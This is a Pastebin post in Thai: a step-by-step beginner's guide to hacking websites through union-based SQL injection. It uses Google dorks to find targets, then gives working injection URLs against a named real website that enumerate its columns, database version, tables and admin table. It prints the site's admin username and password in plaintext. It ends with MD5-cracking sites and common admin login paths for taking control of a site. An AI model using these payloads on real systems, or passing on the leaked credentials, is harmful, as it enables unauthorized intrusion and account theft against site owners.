Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -{SQLi}- แฮกเว็ปไซต์โดย SQLi มือใหม่เริ่มที่นี้ครับ {Union Based}
- SQL INJECTION
- โดย Pound
- สารบัญ
- 1: ค้นหาเป้าหมาย
- 1.2: ทดสอบเป้าหมายว่ามีช่องโหว่หรือไม่
- 2: หาคอลัมน์
- 2.1: หาช่องโหว่ของคอลัมน์
- 3: เช็คเวอร์ชั่นของ SQL
- 4: ถ้าเป็นเวอร์ชั่น 5
- 4.1: หาชื่อคอลัมน์ Tables และ พาสแอดมิน
- ดูวิดีโอ: http://www.youtube.com/watch?v=Nik12-OQ7...e=youtu.be
- 1. ค้นหาเป้าหมาย
- เราจะหาเป้าหมายโดยใช้ Dorks. Dorks คือ การใส่ queries เข้าไปใน Search Engine (Google). เราจะใช้ Google ในการค้นหาเป้าหมาย. ใส่ Dorks ลงไปเพื่อหาเว็ปไซต์เป้าหมาย.
- ตัวอย่าง Dork
- Code:
- inurl:"index.php?ID="
- ผลการค้นหา. Google จะแสดงเว็ปไซต์ต่างๆที่มี "products.php?prodID=" อยู่ในลิงค์.
- - ลิส Dorks
- ถ้าจะให้ดีผมแนะนำให้สร้าง Dorks ของตัวเอง. สร้าง Dorks ที่คิดว่าจะยังไม่มีคนอื่นนำไปใช้หรือทดลอง เช่น:
- Code:
- inurl:"index.php?item_id=" & ".co.th"
- บางทีมันก็ไม่ทำงาน. ไม่เป็นไรครับค่อยๆสร้างๆค่อยๆคิดกันไป.
- 1.2: ทดสอบเป้าหมายว่ามีช่องโหว่ให้ทำการเจาะไหม
- หลังจากค้นหาเว็ปไซต์เป้าหมายได้แล้ว เราต้องทดสอบว่าเว็ปเป้าหมายเราจะมีช่องโหวให้เราแฮกเข้าไปได้ไหม.
- - ลิสเว็ปไซต์ที่มีช่องโหว่
- ผมจะใช้เว็ปนี้เพื่อทดลอง:
- http://www.lebeauhumblet.com/publications.php?id=2
- วิธีทดสอบคือให้ใส่อักษร ' ไว้ท้ายสุดของลิงค์แล้วรีโหลดหน้าเว็ป เช่น:
- Code:
- http://www.lebeauhumblet.com/publications.php?id=2'
- จะรู้ได้ไงว่าเว็ปนี้มีช่องโหว่. หลังจากรีโหลดหน้าเว็ปแล้ว ถ้าเกิดหน้าเว็ป:
- - ข้อความบางส่วนหายไป, รูปภาพหายไป หรือ สคริปแตกต่างจากหน้าเว็ปหลัก
- - SQL Error ต่างๆ
- 2. หาคอลัมน์
- ลองกับเว็ปเดิม:
- http://www.lebeauhumblet.com/publications.php?id=2
- สิ่งที่กำลังจะทำคือเช็คว่าเว็ปนี้มีคอลัมน์อยู่ในฐานข้อมูลทั้งหมดเท่าไหรโดยใช้คำส?ั่ง 'order+by'
- ลิงค์จะหน้าตาออกมาเป็นแบบนี่
- Code:
- http://www.lebeauhumblet.com/publications.php?id=2+order+by+1--
- เรามาเริ่มหากันเลย ไล่ขึ้นไปจากคอลัมน์ 1
- http://www.lebeauhumblet.com/publication...der+by+1-- < ไม่เจอ Error
- http://www.lebeauhumblet.com/publication...der+by+2-- < ไม่เจอ Error
- http://www.lebeauhumblet.com/publication...der+by+3-- < ไม่เจอ Error
- http://www.lebeauhumblet.com/publication...der+by+4-- < ไม่เจอ Error
- http://www.lebeauhumblet.com/publication...der+by+5-- < เจอ Error
- นั้นหมายความว่าในฐานข้อมูลเว็ปนี้มีแค่ 4 คอลัมน์
- 2.1: หาช่องโหว่ของคอลัมน์
- จากนั้นเราจะต้องหาว่าใน 4 คอลัมน์นั้นมีคอลัมน์ไหนที่มีช่องโหว่ให้เราสามารถเจาะเข้าไปได้โดยใช้คำสั่ง (union+select).
- หน้าตาลิงค์จะเป็นแบบนี้
- Code:
- http://www.lebeauhumblet.com/publications.php?id=-2+union+select+1,2,3,4--
- อย่าลืมอักษร - ก่อนหน้าเลข 2 นะครับดูให้ดีๆ
- หลังจากรีโหลดหน้าเว็ป คุณจะเห็นตัวเลขโชว์ขึ้นมาหน้าเว็ป. นั้นคือคอลัมน์ที่มีช่องโหว่. ตัวอย่างเช่นเว็ปไซต์ด้านบนมีคอลัมน์ 3 กับ 4 ที่มีช่องโหว่.
- 3: หาเวอร์ชั่นของ SQL
- ต่อไปใช้คำสั่ง (@@version) ในการหาเวอร์ชั้นของเว็ปไซต์. โดยการแทนที่คอลัมน์ที่มีช่องโหว่ด้วยคำสั่ง เช่น:
- Code:
- http://www.lebeauhumblet.com/publications.php?id=-2+union+select+1,2,@@version,4--
- ตามลิงค์ด้านบนผมใส่คำสั่งแทนที่คอลัมน์ 3. จากนั้นรีโหลดหน้าเว็ป... คุณก็ได้เวอร์ชั่นของเว็ปไซต์นี้ >> 4.1.20-community-nt
- ถ้าคำสั่งด้านบนผิดพลาดโดยที่หน้าเว็ปไม่โชว์เวอร์ชั่นหรือมี Error ให้เราใช้คำสั่งนี้แทน
- convert(@@version using latin1)
- ดังนั้นลิงค์จะมีหน้าตาเป็นแบบนี้
- Code:
- http://www.lebeauhumblet.com/publications.php?id=-2+union+select+1,2,convert(@@version using latin1),4--
- หรือคำสั่งนี้: unhex(hex(@@version))
- Code:
- http://www.lebeauhumblet.com/publications.php?id=-2+union+select+1,2,unhex(hex(@@version)),4--
- 4. หา Tables ในฐานข้อมูล
- Quote:group_concat = รวมรวบข้อมูล
- table_name = ชื่อ Tables
- from = ที่ที่เราเจาะจงจะหาข้อมูล
- information_schema.tables = ข้อมูลในฐานข้อมูลที่มีชื่อ Tables เก็บไว้
- table_schema = Tables ในฐานข้อมูล
- database() = ฐานข้อมูลของเว็ปไซด์
- เค.. มาผสมคำสั่งพวกนี้เข้าด้วยกัน... ลิงค์จะออกมาหน้าตาแบบนี้
- Code:
- http://www.lebeauhumblet.com/publications.php?id=-2+union+select+1,2,group_concat(table_name,0x0a),4 from information_schema.tables where table_schema=database()--
- ตามลิงค์ด้านบนผมได้ใส่คำสั่ง group_concat(table_name,0x0a) แทนที่คอลัมน์ที่มีช่องโหว่และ from information_schema.tables where table_schema=database()-- ต่อท้าย. จากนัันหน้าเว็ปไซด์จะโชว์ลิสชื่อ Tables ทั้งหมดที่อยู่ในฐานข้อมูล..
- Code:
- pdigclicks ,pdigengine ,pdigexcludes ,pdigincludes ,pdigkeywords ,pdiglogs ,pdigsite_page ,pdigsites ,pdigspider ,pdigtempspider ,tbladmin ,tblbanner ,tblbanner_page ,tblfaq ,tblncategory ,tblnews
- หลังจากที่ได้ชื่อ Tables มาหลายตัว. สิ่งที่ต้องทำคือหา Table ที่มีข้อมูลของ User/Admin อยู่ในนั้น. ในตัวอย่างที่ได้มา table ที่ชื่อ tbladmin น่าจะมีข้อมูลเหล่านั้นอยู่.
- 4.1. หาชื่อคอลัมน์ใน Table และ ยูสเซ่อกับพาสแอดมิน
- ดูที่โค้ตด้านล่างนี้ให้ดีๆ
- Code:
- http://www.lebeauhumblet.com/publications.php?id=-2+union+select+1,2,group_concat(column_name,0x0a),4 from information_schema.columns where table_name=0x74626c61646d696e--
- มาดูกันมีอะไรแตกต่างไปมั้ง:
- Quote:table_name = แทนที่โดย "column_name"
- information_schema.tables = แทนที่โดย "information_schema.columns"
- table_schema = แทนที่โดย "table_name"
- database() = แทนที่โดย "0x74626c61646d696e--"
- สงสัยกันใช่ไหมว่าทำไมตัวท้ายต้องเป็น Hex โค้ต 0x74626c61646d696e--
- อันดับแรกที่ผมใส่ 0x เพื่อที่จะให้มันอ่านโค้ต hex ได้. เค.. ผมจะอธิบายให้ง่ายๆ ชื่อ Table ของเราคือ tbladmin เผื่อที่จะเข้าไปในฐานข้อมูล Table ได้เราต้องเปลี่ยนชื่อมันให้เป็น hex โค้ต. ผมใช่เว็ปไซด์นี้ในการเปลี่ยน.
- Code:
- http://www.swingnote.com/tools/texttohex.php
- เราก็จะได้ 74626c61646d696e เป็น Hex โค้ตของ tbladmin และเพื่อที่จะทำให้เว็ปไซด์อ่านได้เราจะใส่ 0x เข้าไปข้างหน้า.. ดังนั้นโค้ตจะเป็นแบบนี้..
- Code:
- 0x74626c61646d696e
- ......
- .............
- จากนั้นเราจะได้คอลัมน์ทั้งหมดใน Table ตัวนี้เช่น:
- Quote:adminid ,username ,password ,dom
- แน่นอนที่ที่มีข้อมูลที่เราต้องการต้องอยู่ใน username และ password
- เครขั้นตอนสุดท้าย... มาเอายูสกับรหัสแอดมินของเว็ปนี้โดยใช้คำสั่ง group_concat
- Code:
- http://www.lebeauhumblet.com/publications.php?id=-2+union+select+1,2,group_concat(username,0x3a,password,0x0a),4 from tbladmin--
- แล้วคุณก็จะได้..
- Code:
- ishir:ishir123
- username: ishir
- password: ishir123
- เครสพิเศษ: Hashed Usernames and Passwords
- เว็ปไซด์ส่วนใหญ่จะโชว์พาสเป็น MD5 Hashed. ดังนั้นเราต้องแคร็กมันโดยใช้เว็ปไซด์ด้านล่าง:
- Quote:http://www.md5decrypter.co.uk/
- http://www.md5this.com/
- http://www.md5crack.com/
- http://hashchecker.de/find.html
- MD5 Hash จะมี 32 ตัว
- SHA-1 Hash จะมี 40 ตัว
- ขั้นตอนสุดท้าย: หาหน้าแอดมินเพื่อที่จะล็อกอิน
- ตอนนี้เรามียูสกับพาสแอดมินแล้ว. ที่เหลือก็แค่หาหน้าล็อกอินแอดมินก็จะสามารถเข้าไปควบคุมเว็ปไซด์นั้นได้เต็มตัว.
- ตัวอย่างหน้าแอดมิน:
- Code:
- www.xxxx.com/admin
- www.xxxx.com/admins
- www.xxxx.com/users
- www.xxxx.com/admin.php
- www.xxxx.com/admin/login.php
- www.xxxx.com/login.php
- www.xxxx.com/login
Add Comment
Please, Sign In to add comment